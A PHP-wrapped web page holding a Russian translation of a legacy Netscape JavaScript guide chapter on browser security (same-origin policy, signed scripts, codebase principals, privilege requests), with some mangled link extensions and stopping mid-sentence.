Файл: work/js_teach/sec.php
Строк: 794
<?
require '../../config.php';
$title = 'Учебник JS';
include '../../style/head.php';
aut();
who_add(0, 'servise');
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<phpl<TITLE>Безопасность в JavaScript</TITLE>
<BODY>
<h5><a href="contents.php">Оглавление</a> | <a href="advtopic.php">Назад</a>
| <a href="partlc.php">Вперёд</a> | <a href="bklast.php">Индекс</a></h5><HR>
<h1>Глава 14<BR><A NAME="1019081"></a>Безопасность в JavaScript</h1><p><A NAME="1021159"></a>
JavaScript автоматически предотвращает доступ скриптов одного сервера к
свойствам документов на других серверах. Это не даёт скриптам возможность
получать закрытую информацию, такую как структура директорий или история
пользовательских сессий. В данной главе рассматриваются модели безопасности/security models, имеющиеся в разных релизах JavaScript.</p>
<p><A NAME="1020653"></a>В главе имеются следующие разделы:</p><ul><LI><A NAME="1020654"></a>
<a href="#1015705">Политика одного источника</a></LI><LI><A NAME="1020837"></a>
<a href="#1015075">Использование маркированных скриптов</a></LI><LI><A NAME="1020655"></a>
<a href="#1021266">Использование разрушения данных</a></LI></ul><p><A NAME="1015948"></a>
Вот история развития безопасности JavaScript:</p><ul><LI><A NAME="1023136"></a>
Во всех релизах политика <I>same originодного источника</I> является
политикой по умолчанию. Эта политика ограничивает возможность получения и
установки свойств, основанных на сервере документов. См. <A HREF="#1015705">"Политика
Одного Источника"</a>.</LI><LI><A NAME="1015961"></a>
JavaScript 1.1 использовал <I>data taintingразрушение данных</I> при
доступе к дополнительной информации. См. <A HREF="#1021266">"Использование
Разрушения Данных"</a>.</LI><LI><A NAME="1023150"></a>
JavaScript 1.2 заменил разрушение данных на политику <I>signed scriptмаркированного
скрипта</I>. Эта политика основана на модели безопасности Java под названием <I>object signingмаркировка
объекта</I>. Для использования политики маркированного скрипта в JavaScript Вы
используете специфические классы безопасности Java и маркируете Ваши скрипты JavaScript.
См. <A HREF="#1015075">"Использование Маркированных Скриптов"</a>.</LI></ul>
<H2><A NAME="Same Origin Policy"><A NAME="1015705"></a>Политика Одного Источника</H2><hr><p><A NAME="1015706"></a>
Политика одного источника работает так: при загрузке документа из одного
источника, скрипт, загруженный из другого источника, не может получить или
установить конкретные свойства конкретного браузера и объектов HTML в окне или
фрэйме (см. <A HREF="#1015768">Таблицу 14.2</a>).</p><p><A NAME="1015710"></a>
Для обеспечения безопасности, JavaScript определяет источник как подстроку URL,
которая содержит <CODE>protocol://host</CODE>, где <CODE>host</CODE> содержит не
обязательный <CODE>:port</CODE>. Для иллюстрации, в следующей таблице даны
примеры сравнения источника с URL <CODE>http://company.com/dir/page.phpl</CODE>.</p>
<A NAME="1020257"></a><h6><A NAME="1015717"></a>
Таблица 14.1 Сравнения источника с http://company.com/dir/page.phpl</h6><TABLE BORDER="2" CELLPADDING=5>
<TR><TH><A NAME="1015723"></a>URL<TH><A NAME="1015725"></a>
Результат<TH><A NAME="1015727"></a>Причина<TR><TD><PRE><A NAME="1015729"></a>http://company.com/dir2/other.phpl</PRE><TD><P><A NAME="1015731"></a>
Успешно</P><TD><P><A NAME="1015733"></a></P>
<TR><TD><PRE><A NAME="1015735"></a>http://company.com/dir/inner/another.phpl</PRE><TD><P><A NAME="1015737"></a>
Успешно</P><TD><P><A NAME="1015739"></a></P>
<TR><TD><PRE><A NAME="1015741"></a>http://www.company.com/dir/other.phpl</PRE><TD><P><A NAME="1015743"></a>
Неудачно</P><TD><P><A NAME="1015745"></a>Разные домены</P>
<TR><TD><PRE><A NAME="1015747"></a>file://D|/myPage.php</PRE><TD><P><A NAME="1015749"></a>
Неудачно</P><TD><P><A NAME="1015751"></a>Разные протоколы</P>
<TR><TD><PRE><A NAME="1015753"></a>http://company.com:80/dir/etc.phpl</PRE><TD><P><A NAME="1015755"></a>
Неудачно</P><TD><P><A NAME="1015757"></a>Разные порты</P></TABLE><p><A NAME="1015764"></a>
В следующей таблице дан список свойств, доступ к которым могут получить только
те скрипты, которые прошли проверку на один источник.</p><A NAME="1020307"></a>
<h6 style="text-align: center"><A NAME="1015768"></a>
Таблица 14.2 Свойства - субъекты проверки источника</h6><TABLE BORDER="2" CELLPADDING=5>
<TR><TH><B><A NAME="1015772"></a>Объект<TH><A NAME="1015774"></a>
Свойства - субъекты проверки<TR><TD><PRE><A NAME="1024794"></a>document</PRE><TD><P><A NAME="1024796"></a>
Для чтения и записи: <CODE>anchors</CODE>, <CODE>applets</CODE>, <CODE>cookie</CODE>, <CODE>domain</CODE>, <CODE>embeds</CODE>, <CODE>forms</CODE>, <CODE>lastModified</CODE>, <CODE>length</CODE>, <CODE>links</CODE>, <CODE>referrer</CODE>, <CODE>title</CODE>, <CODE>URL</CODE>, <I><CODE>formName</CODE></I>
(для каждой именованной формы), <I><CODE>reflectedJavaClass</CODE></I> (для
каждого Java-класса, отражённого в JavaScript через LiveConnect).</P><P><A NAME="1024797"></a>
</P><P><A NAME="1024798"></a>Только для записи: все другие свойства.</P>
<TR><TD><PRE><A NAME="1024763"></a>form</PRE><TD><pre><a NAME="1024765"></a>elements</pre>
<TR><TD><PRE><A NAME="1015776"></a>image</PRE><TD><P><A NAME="1015778"></a>
<CODE>lowsrc</CODE>, <CODE>src</CODE></P><TR><TD><PRE><A NAME="1015780"></a>layer</PRE><TD><P><A NAME="1015782"></a>
<CODE>src</CODE></P><TR><TD><PRE><A NAME="1015784"></a>location</PRE><TD><P><A NAME="1015786"></a>
Все, за исключением <CODE>x</CODE> и <CODE>y.</CODE></P><TR><TD><PRE><A NAME="1015788"></a>window</PRE><TD><PRE><A NAME="1015790"></a>find</PRE></TABLE>
<H3><A NAME="Head2;"></a><A NAME="1023451"></a>Проверка источника document.domain</H3><hr><p><A NAME="1023292"></a>
Имеется одно исключение из правила одного источника. Скрипт может устанавливать
в значение <CODE>document.domain</CODE> суффикс текущего домена. Если это
сделано, более краткий домен используется для последующих проверок источника. Например,
скрипт в документе <CODE>http://www.company.com/dir/other.phpl</CODE> выполняет такой оператор:</p>
<PRE><A NAME="1023293"></a>document.domain = "company.com";</PRE><p><A NAME="1023294"></a>
После этого страница может пройти проверку источника как <CODE>http://company.com/dir/page.phpl</CODE>.</p>
<H3><A NAME="Head2;"></a><A NAME="1023386"></a>Проверка источника именованных форм</H3><hr><p><A NAME="1023394"></a>
Именованные формы являются субъектами для проверки источника, как видно из <A HREF="#1015768">Таблицы 14.2</a>.</p>
<p><B><A NAME="HeadRunIn;"></a><A NAME="1023381"></a>JavaScript 1.1 и более ранние версии. </B><A NAME="1023382"></a>
Именованные формы не являются субъектами для проверки источника, хотя массив <CODE>document.forms</CODE>
- проверяется. Чтобы исключить ошибки безопасности, возникающие при работе
скриптов 1.1 в версии 1.2 или более поздней, создайте новую переменную как
свойство объекта <CODE>window</CODE>, установив именованную форму как значение
этой переменной. Вы можете затем иметь доступ к этой переменной (и,
следовательно, к форме) через объект <CODE>window</CODE>.</p><H3><A NAME="Head2;"></a>
<A NAME="1015801"></a>Проверка источника и тэги SCRIPT, загружающие документы</H3><hr><p><A NAME="1023346"></a>
Если Вы загружаете документ с любым URL, кроме <CODE>file:</CODE>, и этот
документ содержит тэг <CODE><SCRIPT SRC="..."></CODE>, внутренний атрибут <CODE>SRC</CODE>
не может обратиться к другому URL <CODE>file:</CODE>.</p><p><B><A NAME="HeadRunIn;"></a><A NAME="1023362"></a>
JavaScript 1.1 и более ранние версии. </B><A NAME="1023356"></a>
Если Вы загружаете файл JavaScript, используя <CODE><SCRIPT SRC="..."></CODE>,
то URL, специфицированный в атрибуте <CODE>SRC</CODE>, может быть URL любого
типа (<CODE>file:</CODE>, <CODE>http:</CODE> и т.д.), независимо от типа URL
файла, содержащего тэг <CODE>SCRIPT</CODE>. Для получения поведения JavaScript 1.1
в JavaScript 1.2 пользователи могут добавить следующую строку в свой файл настроек:</p>
<PRE><A NAME="1015805"></a>user_pref("javascript.allow.file_src_from_non_file", true);</PRE>
<p><A NAME="1015806"></a>Соблюдайте осторожность с этой настройкой, поскольку она пробивает брешь в
защите. Пользователи могут устанавливать эту настройку, только если они осознаю́т связанный с этим риск.</p>
<H3><A NAME="Head2;"></a><A NAME="1015807"></a>Проверка источника и слои</H3><hr><p><A NAME="1015808"></a>
Слой/layer может иметь иной источник, нежели окружающий документ. Проверки
источника осуществляются между документами и скриптами в слоях из различных
источников. То есть, если документ содержит один или более слоёв, JavaScript
проверяет источники этих слоёв, прежде чем они смогут взаимодействовать друг с другом или с документом-родителем.</p>
<p><A NAME="1015814"></a>Об использовании слоёв см. <A HREF="http://developer.netscape.com/docs/manuals/communicator/dynphpl/index.php" TARGET="_top"><EM>Dynamic HTML in Netscape Communicator</EM></a>.<EM></EM></p>
<H3><A NAME="Head2;"></a><A NAME="1015815"></a>Проверка источника и Java-аплеты</H3><hr><p><A NAME="1015816"></a>
Ваша HTML-страница может содержать тэги <CODE>APPLET</CODE> для использования
аплетов Java. Если тэг <CODE>APPLET</CODE> имеет атрибут <CODE>MAYSCRIPT</CODE>,
этот аплет может использовать JavaScript. В это случае аплет является субъектом
проверки источника при вызове JavaScript. Для этих целей источником аплета
является URL документа, содержащего тэг <CODE>APPLET</CODE>.</p><H2><A NAME="Using Signed Scripts">
<A NAME="1015075"></a>Использование маркированных скриптов</H2><hr><p><A NAME="1021743"></a>
Модель безопасности JavaScript для маркированных скриптов базируется на модели
безопасности Java для маркированных/signed объектов. Вы можете маркировать
инлайн-скрипты (те, которые находятся в тэгах <CODE>SCRIPT</CODE>), скрипты в
обработчики событий, объекты/entities JavaScript и отдельные JavaScript-файлы.</p><p><B><A NAME="HeadRunIn;"></a>
<A NAME="1023542"></a>JavaScript 1.1 и более ранние версии. </B><A NAME="1024007"></a>Маркировка скриптов отсутствует.</p>
<H3><A NAME="Head2;"></a><A NAME="1015077"></a>Маркированные скрипты. Введение.</H3><hr><p><A NAME="1015078"></a>
Маркированный скрипт запрашивает расширенные привилегии, получая доступ к
закрытой информации. Он запрашивает эти привилегии через использование LiveConnect
и Java-классов, называемых Java Capabilities API. Эти классы добавляют
возможности и уточняют управление, предоставляемое стандартным Java-классом <CODE>SecurityManager</CODE>. Вы
можете использовать эти классы для осуществления высокоточного контроля в так
называемом "sandbox/песочном ящике" - термин Java для жёстких ограничений, в пределах которых код Java обязан выполняться.</p>
<p><A NAME="1015079"></a>Решения по управлению доступом сводятся к тому, кто и что может делать. В этой
модели <EM>principalпринципал</EM> представляет "кто", <EM>targetцель</EM>
представляет "что", а <EM>privilegesпривилегии</EM>, ассоциированные с
принципалом, представляют авторизацию (или запрет авторизации) принципалу для доступа к специфической цели.</p>
<p><A NAME="1024088"></a>После написания скрипта Вы маркируете его, используя утилиту Netscape Signing Tool.
Эта утилита ассоциирует цифровую подпись со скриптом на HTML-странице.
Владельцем это цифровой подписи является определённый принципал (реальный
объект, такой как Netscape или John Smith). Одна HTML-страница может иметь
скрипты, маркированные разными принципалами. Цифровая подпись помещается в Java Archive (JAR)
-файл. Если Вы маркируете инлайн-скрипт, обработчик события или объект JavaScript, Netscape Signing Tool
сохраняет только подпись и идентификатор для скрипта в JAR-файле. Если Вы
маркируете JavaScript-файл утилитой Netscape Signing Tool, она также сохраняет источник в JAR-файле.</p><p><A NAME="1015081"></a>
Ассоциированный принципал позволяет пользователю подтверждать правильность
сертификата, используемого для маркировки скрипта. Он также позволяет
пользователю убедиться, что данный скрипт подделан после маркировки.
Пользователь может затем решить, дать ли привилегии на основе проведённой
идентификации сертификата пользователя и проверки целостности скрипта.</p><p><A NAME="1015082"></a>
Запомните, что пользователь может запретить выдачу привилегий, запрошенных Вашим
скриптом - Вы должны создавать Ваши скрипты так, чтобы они адекватно реагировали на такую ситуацию.</p><p><A NAME="1015083"></a>
В этой главе предполагается, что Вы знакомы с основными принципами маркировки
объектов с использованием Java Capabilities API и с созданием цифровой подписи.
Следующие документы содержать соответствующую информацию по этому вопросу:</p><ul><LI><A NAME="1015089"></a>
<EM><A HREF="http://developer.netscape.com/docs/manuals/signedobj/trust/index.php" TARGET="_top">Netscape Object Signing: Establishing Trust for Downloaded Software</a></EM>
- обзор маркировки объектов. Разберитесь в этом материале, прежде чем
использовать маркировку скриптов.</LI><LI><A NAME="1015095"></a>
<EM><A HREF="http://developer.netscape.com/docs/manuals/signedobj/capabilities/index.phpl" TARGET="_top">Introduction to the Capabilities Classes</a></EM>
- детальная информация об использовании Java Capabilities API. Поскольку
маркированные скрипты используют этот API для запрашивания привилегий, Вам
необходимо разобраться в этой информации.</LI><LI><A NAME="1015101"></a>
<EM><A HREF="http://developer.netscape.com/docs/manuals/signedobj/capsapi.phpl" TARGET="_top">Java Capabilities API</a></EM>
- введение в Java API, используемый для маркировки объектов. Содержится
информация о том, где можно ещё прочитать об этом API.</LI><LI><A NAME="1023763"></a>
<EM><A HREF="http://developer.netscape.com/docs/manuals/signedobj/signtool/index.php" TARGET="_top">Signing Software with Netscape Signing Tool 1.1</a></EM>
- описывает использование утилиты Netscape Signing Tool для создания
маркированных скриптов.</LI><LI><A NAME="1015113"></a>
<EM><A HREF="http://developer.netscape.com/docs/manuals/signedobj/index.phpl" TARGET="_top">Object-Signing Resources</a></EM>
- список документов и ресурсов по вопросам маркировки объектов.</LI></ul><H4><A NAME="Head3;"></a>
<A NAME="1015125"></a>SSL-серверы и немаркированные скрипты</H4><hr><p><A NAME="1015126"></a>
Альтернативой маркировке Ваших скриптов утилитой Netscape Signing Tool
является обслуживание их сервером безопасности/secure server. Navigator
рассматривает все страницы, обслуживаемые SSL-сервером, как если бы они были
маркированы ключом public такого сервера. В этом случае Вам не нужно маркировать отдельные скрипты.</p><p><A NAME="1015127"></a>
Если Вы имеете SSL-сервер, то Вам будет намного проще организовать работу Ваших
скриптов как маркированных. Это особенно актуально, если Вы динамически
генерируете скрипты на Вашем сервере и хотите, чтобы они работали как маркированные.</p><p><A NAME="1015129"></a>
О настройке Netscape-сервера как SSL-сервера см. <EM> <A HREF="http://developer.netscape.com/docs/manuals/enterprise/mngserv/index.php" TARGET="_top">Managing Netscape Servers</a></EM>.</p>
<H4><A NAME="Head3;"></a><A NAME="1015135"></a>Принципалы кодовой базы</H4><hr><p><A NAME="1015136"></a>
Как и Java, JavaScript поддерживает принципалы кодовой базы/codebase principals.
<i>Принципал кодовой базы</i> это принципал, полученный из источника скрипта, а
не при проверке цифровой подписи сертификата. Поскольку принципалы кодовой базы
обеспечивают слабую защиту, они по умолчанию отключены в Navigator'е.</p>
<p><A NAME="1015137"></a>При публикации Ваши скрипты не должны полагаться на то, что принципалы кодовой
базы включены. Вы, возможно, захотите включить принципалы кодовой базы при
разработке Ваших скриптов, но Вы должны промаркировать их перед публикацией.</p><p><A NAME="1015138"></a>
Чтобы включить принципалы кодовой базы, конечные пользователи обязаны добавить
соответствующую настройку в файл настроек Navigator'а.
Для этого нужно добавить в файл настроек такую строку:</p>
<PRE><A NAME="1015139"></a>user_pref("signed.applets.codebase_principal_support", true);</PRE>
<p><A NAME="1015140"></a>Даже если принципалы кодовой базы отключены, Navigator отслеживает принципалы
кодовой базы для использования при выполнении политики одного источника (см. <A HREF="#1015705">"Политика
Одного Источника"</a>). Немаркированные скрипты имеют ассоциированный набор
принципалов, куда входит один элемент - принципал кодовой базы для страницы,
содержащей скрипт. Маркированные скрипты также имеют принципалы кодовой базы в
дополнение к более строгим принципалам сертификата.</p><p><A NAME="1015144"></a>
Если пользователь выполняет доступ к скрипту с включёнными принципалами кодовой
базы, выводится диалоговое окно, похожее на окно для маркированных скриптов.
Отличие в том, что данный диалог запрашивает у пользователя предоставление
привилегий на основе URL и не проверяет авторизацию доступа. Окно уведомляет
пользователя, что скрипт не имеет цифровой подписи и мог быть изменён.</p><BLOCKQUOTE>
<p><B>ПРИМЕЧАНИЕ: </B><A NAME="1015146"></a>
Если страница маркированные скрипты и codebase-скрипты и поддержка принципалов кодовой базы
<CODE>signed.applets.codebase_principal_support</CODE> включена, все скрипты на
этой странице рассматриваются как немаркированные, и применяются принципалы кодовой базы.</p></BLOCKQUOTE>
<p><A NAME="1015148"></a>Дополнительно о принципалах кодовой базы см. <EM><A HREF="http://developer.netscape.com/docs/manuals/signedobj/capabilities/index.phpl" TARGET="_top">Introduction to the Capabilities Classes</a></EM>.</p>
<H4><A NAME="Head3;"></a><A NAME="1015150"></a>Скрипты, маркированные разными принципалами</H4><hr><p><A NAME="1015151"></a>
JavaScript отличается от Java в нескольких важных вопросах, касающихся
безопасности. Java маркирует классы и может защищать внутренние методы этих
классов через механизм public/private/protected. Маркировка метода как protected
или private немедленно защищает его от атак извне. Кроме того, любой класс или
метод, помеченный как <CODE>final</CODE> в Java, не может быть расширен и таким образом также защищён от вторжения.</p>
<p><A NAME="1015152"></a>С другой стороны, поскольку в JavaScript нет понятия public и private-методов,
отсутствуют и внутренние методы, которые могут быть защищены простой маркировкой
класса. Кроме того, все методы могут изменяться на этапе прогона программы, поэтому обязаны быть защищены и на этапе прогона.</p>
<p><A NAME="1015153"></a>В JavaScript Вы можете добавить новые свойства к существующим объектам или
заменить существующие свойства (включая методы) на этапе прогона. Вы не может
сделать это в Java. Итак, ещё раз, защита, которая автоматизирована в Java, обязана обеспечиваться в JavaScript отдельно.</p>
<p><A NAME="1015154"></a>Поскольку модель маркировки скриптов в JavaScript основана на модели маркировки
объектов Java, указанные отличия языков означают, что, если скрипты JavaScript
произведённые разными принципалами, взаимодействуют, необходимо более надёжно
защитить эти скрипты. Поскольку весь код JavaScript на одной странице HTML
запускается в одном процессе, скрипты, находящиеся на одной странице могут
изменять поведение друг друга. Например, скрипт может переопределить функцию,
определённую в другом скрипте ранее на этой же странице.</p><p><A NAME="1015155"></a>
Чтобы обеспечить безопасность, основным положением модели безопасности
маркированных скриптов в JavaScript является то, что <I>скрипты на HTML-странице
работают так, будто они все маркированы пересечением принципалов, которые
маркируют каждый скрипт на этой странице</I>.</p><p><A NAME="1015156"></a>
Например, принципалы A и B маркировали один скрипт, но только принципал A
маркировал второй скрипт. В этом случае страница с обоими скриптами работает
так, как если бы была маркирована только принципалом A.</p><p><A NAME="1015157"></a>
Это означает также, что, если маркированный скрипт находится на той же странице,
где находится немаркированный скрипт, оба скрипта работают как немаркированные.
Это происходит из-за того, что маркированный скрипт имеет принципал кодовой базы
и принципал сертификата, а немаркированный скрипт имеет только принципал кодовой
базы (см. <A HREF="#1015135">"Принципалы Кодовой Базы"</a>). Два принципала
кодовой базы всегда одинаковы для скриптов на одной странице; следовательно,
пересечение принципалов этих двух скриптов даст только принципал кодовой базы.
Это же происходит, если оба скрипта являются немаркированными.</p><p><A NAME="1015161"></a>
Вы можете использовать функции <CODE>import</CODE> и <CODE>export</CODE>, чтобы
разрешить скриптам, маркированным разными принципалами, взаимодействовать в
безопасном режиме. О том, как это сделать, см. <A HREF="#1015381">"Функции Импорта и Экспорта"</a>.</p>
<H4><A NAME="Head3;"></a><A NAME="1015165"></a>Проверка принципалов окон и слоёв</H4><hr><p><A NAME="1015166"></a>
Чтобы защитить маркированные скрипты от изменений, JavaScript имеет набор для
проверки на уровне контейнера, где контейнером является окно или слой. Для
доступа к свойствам маркированного контейнера, скрипт, ищущий доступ, обязан
быть промаркирован супернабором принципалов, которым маркирован контейнер.</p><p><A NAME="1015167"></a>
Эта межконтейнерная проверка применяется для большинства свойств,
предопределённых (Navigator'ом) или пользовательских (содержимого HTML
или функций и переменных скриптов). Межконтейнерная проверка не применяется для
следующих свойств объекта <CODE>window</CODE>:</p>
<ul><LI><A NAME="1015168"></a><CODE>closed</CODE></LI><LI><A NAME="1015169"></a>
<CODE>height</CODE></LI><LI><A NAME="1015170"></a><CODE>outerHeight</CODE></LI><LI><A NAME="1015171"></a>
<CODE>outerWidth</CODE></LI><LI><A NAME="1015172"></a><CODE>pageXOffset</CODE></LI><LI><A NAME="1015173"></a>
<CODE>pageYOffset</CODE></LI><LI><A NAME="1015174"></a><CODE>screenX</CODE></LI><LI><A NAME="1015175"></a>
<CODE>screenY</CODE></LI><LI><A NAME="1015176"></a><CODE>secure</CODE></LI><LI><A NAME="1015177"></a>
<CODE>width</CODE></LI></ul><p><A NAME="1016210"></a>
Если все скрипты страницы помечены одними принципалами, проверка контейнера
применяется к окну. Если некоторые скрипты слоя маркированы разными принципалами,
к слою применяется специальная проверка контейнера. На рисунке показан метод,
используемый Navigator'ом для определения того, какие
контейнеры с какими наборами принципалов ассоциированы.</p><h6><A NAME="1016215"></a>
Рисунок 14.1 Присвоение принципалов слоям</h6><P>
<IMG SRC="graphics/containr.gif" width="496" height="361"></a></P><p><A NAME="1016216"></a>
Этот метод работает так: каждый скрипт на странице рассматривается в порядке
определения, <CODE>javascript:</CODE> URL'ы считаются новыми немаркированными скриптами.</p>
<OL><LI><A NAME="1015188"></a>Если это первый скрипт на странице, принципалы этого скрипта присваиваются окну
как принципалы. (Если текущий скрипт является немаркированным, это делает
принципалы окна принципалами кодовой базы.) Выполнено.</LI><LI><A NAME="1015189"></a>
Если самый внутренний контейнер (контейнер, непосредственно содержащий скрипт)
имеет определённые принципалы, выполняется пересечение принципалов текущего
скрипта с принципалами контейнера и результат присваивается как принципалы
контейнера. Если эти два набора принципалов не равны, их пересечение уменьшает
количество принципалов, ассоциированных с этим контейнером. Выполнено.</LI><LI><A NAME="1015190"></a>
Иначе ищется самый внутренний контейнер, имеющий определённые принципалы. (Это
может быть само окно, если нет промежуточных слоёв.) Если принципалы текущего
скрипта такие же , что и принципалы этого контейнера, принципалы остаются как
есть. Выполнено.</LI><LI><A NAME="1015191"></a>
Иначе принципалы текущего скрипта присваиваются как принципалы контейнера. Выполнено.</LI></OL><p><A NAME="1015192"></a>
На <A HREF="#1016215">Рисунке 14.1</a> показан этот процесс.</p><p><A NAME="1015193"></a>
Например, предположим, что на странице имеются два скрипта (и нет слоёв), один
скрипт маркирован, а другой - нет. Navigator сначала просматривает маркированный
скрипт, что ассоциирует объект <CODE>window</CODE> с двумя принципалами -
принципалом сертификата от маркировщика скрипта и принципалом кодовой базы, полученным из location страницы, содержащей скрипт.</p>
<p><A NAME="1015194"></a>Когда Navigator видит второй (немаркированный) скрипт, он сравнивает принципалы
скрипта с принципалами текущего контейнера. Немаркированный скрипт имеет только
один принципал кодовой базы. При отсутствии
слоёв самым внутренним контейнером является само окно, которое уже имеет принципалы.</p><p><A NAME="1015195"></a>
Поскольку наборы принципалов различны, они пересекаются, давая набор с одним
членом, принципалом кодовой базы. Navigator сохраняет результат в объекте <CODE>window</CODE>,
уменьшая его набор принципалов. Заметьте, что все функции, которые были
определены в маркированном скрипте, рассматриваются теперь как немаркированные.
Отсюда, смешивание маркированных и немаркированных скриптов на одной странице
без слоёв приводит к тому, что все скрипты рассматриваются как непомеченные.</p><p><A NAME="1015196"></a>
Теперь предположим, что немаркированный скрипт находится в слое на странице. Это
даст иное поведение. В этом случае, когда Navigator видит немаркированный скрипт,
принципалы скрипта вновь сравниваются с принципалами маркированного скрипта
окна и определяется, что принципалы различны. Однако теперь самый внутренний
контейнер (слой) не имеет ассоциированных принципалов, немаркированные
принципалы ассоциированы с самым внутренним контейнером; внешний контейнер (окно)
не затрагивается. В этом случае маркированные скрипты продолжают действовать как
маркированные. Однако доступ немаркированного скрипта слоя к объектам вне слоя
отбрасываются, поскольку слой имеет недостаточно принципалов.
См. <A HREF="#1015368">"Изолирование Немаркированного Слоя Внутри Маркированного Контейнера"</a>.</p>
<H3><A NAME="Head2;"></a><A NAME="1015201"></a>Идентифицирование маркированных скриптов</H3><hr><p><A NAME="1024543"></a>
Вы можете маркировать инлайн-скрипты, скрипты обработчиков событий, JavaScript-файлы
и объекты/entities JavaScript. Вы не можете маркировать URL'ы <CODE>javascript:</CODE>. Вы
обязаны идентифицировать то, что Вы маркируете внутри HTML-файла:</p><ul><LI><A NAME="1015203"></a>
Для маркировки инлайн-скрипта Вы добавляете атрибуты <CODE>ARCHIVE</CODE> и <CODE>ID</CODE>
в тэг <CODE>SCRIPT</CODE> того скрипта, который Вы хотите маркировать. Если Вы
не укажете атрибут <CODE>ARCHIVE</CODE>, Navigator использует атрибут <CODE>ARCHIVE</CODE>
из предыдущего скрипта на этой же странице.</LI><LI><A NAME="1015204"></a>
Для маркировки обработчика события Вы добавляете атрибут <CODE>ID</CODE>
обработчика в тэге, содержащем этот обработчик. Кроме того, HTML-страница
обязана содержать также маркированный инлайн-скрипт, предшествующий
обработчику события. Этот тэг <CODE>SCRIPT</CODE> обязан предоставить атрибут <CODE>ARCHIVE</CODE>.</LI><LI><A NAME="1015205"></a>
Для маркировки объекта JavaScript Вы специально ничего не делаете с этим
объектом. Вместо этого, HTML-страница обязана также содержать маркированный
инлайн-скрипт, предшествующий объекту JavaScript. Этот тэг <CODE>SCRIPT</CODE>
обязан иметь атрибуты <CODE>ARCHIVE</CODE> и <CODE>ID</CODE>.</LI><LI><A NAME="1015206"></a>
Для маркировки всего JavaScript-файла Вы ничего специального с файлом не
делаете. Но тэг <CODE>SCRIPT</CODE> скрипта, использующего этот файл, обязан содержать атрибут <CODE>ARCHIVE</CODE>.</LI></ul>
<p><A NAME="1023575"></a>После написания HTML-файла см. в разделе <A HREF="#1015441">"Маркировка Скриптов"</a>
о том, как маркировать скрипт.</p><H4><A NAME="Head3;"></a><A NAME="1023577"></a>Атрибут ARCHIVE</H4><hr><p><A NAME="1023578"></a>
Все маркированные скрипты (инлайн-скрипт, обработчик события, файл JavaScript
или объект JavaScript) требуют наличия в тэге <CODE>SCRIPT</CODE> атрибута <CODE>ARCHIVE</CODE>,
значением которого является имя JAR-файла, содержащего цифровую подпись. Например,
чтобы маркировать JavaScript-файл, Вы можете использовать такой тэг:</p>
<PRE><A NAME="1015213"></a><SCRIPT ARCHIVE="myArchive.jar" SRC="myJavaScript.js"> </SCRIPT></PRE>
<p><A NAME="1015214"></a>Скрипты обработчиков события не специфицируют атрибут <CODE>ARCHIVE</CODE>.
Вместо этого обработчику должен предшествовать скрипт, содержащий <CODE>ARCHIVE</CODE>. Например:</p>
<PRE><A NAME="1015215"></a><SCRIPT ARCHIVE="myArchive.jar" ID="a"><br>...<br></SCRIPT></PRE><PRE><A NAME="1024214"></a><FORM><br><INPUT TYPE="button" VALUE="OK" <br> onClick="alert('A signed script')" ID="b"> <br></FORM></PRE>
<p><A NAME="1015217"></a>Если Вы специфицируете не более одного JAR-файла, Вам нужно специфицировать файл
только однократно. Включите атрибут <CODE>ARCHIVE</CODE> в первый скрипт на HTML-странице,
и остальные скрипты на странице используют этот же файл. Например:</p>
<PRE><A NAME="1015218"></a><SCRIPT ARCHIVE="myArchive.jar" ID="a"> <br>document.write("This script is signed."); <br></SCRIPT></PRE><PRE><A NAME="1015219"></a><SCRIPT ID="b"> <br>document.write("This script is signed too.");<br></SCRIPT></PRE>
<H4><A NAME="Head3;"></a><A NAME="1015220"></a>Атрибут ID</H4><hr><p><A NAME="1015221"></a>
Инлайн-скрипты и скрипты в обработчиках требуют наличия атрибута <CODE>ID</CODE>.
Значением этого атрибута является строка, которая соотносит скрипт с его
подписью в JAR-файле. <CODE>ID</CODE> обязан быть уникальным в JAR-файле.</p><p><A NAME="1015222"></a>
Если тэг содержит более одного скрипта обработчика события, Вам нужен только
один <CODE>ID</CODE>. Весь тэг маркируется как один блок.</p><p><A NAME="1015223"></a>
В следующем примере первые три скрипта используют один JAR-файл. Третий скрипт
выполняет доступ к JavaScript-файлу, поэтому он не использует атрибут <CODE>ID</CODE>.
Четвёртый скрипт использует другой JAR-файл, и его <CODE>ID</CODE> <CODE>"a"</CODE>
уникален для этого файла.</p><PRE><A NAME="1015224"></a><HTML></PRE><PRE><A NAME="1015225"></a><SCRIPT ARCHIVE="firstArchive.jar" ID="a"> <br>document.write("This is a signed script."); <br></SCRIPT></PRE><PRE><A NAME="1015226"></a><BODY<br> onLoad="alert('A signed script using firstArchive.jar')"<br> onLoad="alert('One ID needed for these event handler scripts')"<br> ID="b"></PRE><PRE><A NAME="1015227"></a><SCRIPT SRC="myJavaScript.js"><br></SCRIPT></PRE><PRE><A NAME="1015228"></a><LAYER><br><SCRIPT ARCHIVE="secondArchive.jar" ID="a"> <br>document.write("This script uses the secondArchive.jar file.");<br></SCRIPT><br></LAYER></PRE><PRE><A NAME="1015229"></a></BODY><br></HTML></PRE>
<H3><A NAME="Head2;"></a><A NAME="1015231"></a>Использование расширенных привилегий</H3><hr><p><A NAME="1015232"></a>
Как и маркированные объекты Java, маркированные скрипты используют вызовы
Netscape-классов безопасности Java для запрашивания расширенных привилегий. Java-классы
расширяются в <EM>Java Capabilities API</EM>.</p><p><A NAME="1015233"></a>
В простейшем случае Вы добавляете одну строку кода, запрашивающего разрешение на
доступ к определённой цели, представляющей ресурс, доступ к которому Вы хотите
получить. (См. <A HREF="#1015251">"Цели"</a>.) Например:</p>
<PRE><A NAME="1015237"></a>netscape.security.PrivilegeManager.enablePrivilege("UniversalSendMail")</PRE>
<p><A NAME="1015238"></a>Когда скрипт вызывает эту функцию, подпись проверяется и, если подпись верна,
даются расширенные привилегии. Если нужно, диалог выводит информацию об авторе
приложения и предоставляет пользователю опцию для разрешения или запрещения расширенных привилегий.</p>
<p><A NAME="1015239"></a>Привилегии даются только в области видимости запрашивающей функции и только
после того как запрос удовлетворён в этой функции. Эта область видимости функции
включает любые функции, вызываемые запрашивающей функцией. Когда скрипт выходит
из запрашивающей функции, привилегии перестают действовать.</p><p><A NAME="1015240"></a>
Следующий пример демонстрирует это, печатая такой текст:</p>
<PRE><A NAME="1015241"></a>7: disabled<br>5: disabled<br>2: disabled<br>3: enabled<br>1: enabled<br>4: enabled<br>6: disabled<br>8: disabled</PRE>
<p><A NAME="1015242"></a>Функция <CODE>g</CODE> запрашивает расширенные привилегии, и только команды и
